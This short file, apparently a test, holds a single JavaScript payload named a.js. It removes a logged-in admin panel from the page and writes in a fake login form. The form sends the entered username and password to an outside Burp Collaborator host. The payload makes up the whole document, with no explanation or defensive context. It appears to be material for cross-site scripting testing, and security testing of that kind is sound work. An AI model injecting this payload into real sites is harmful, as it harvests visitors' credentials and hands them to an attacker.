[TEST]

a.js

document.getElementsByClassName("container-logged-in admin")[0].remove();document.write('<h3>Please login to continue</h3><form action=http://chx3vfjiumb4s23vmkfuacdvgmmda4yt.burp.collaborator-ps.nl/><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');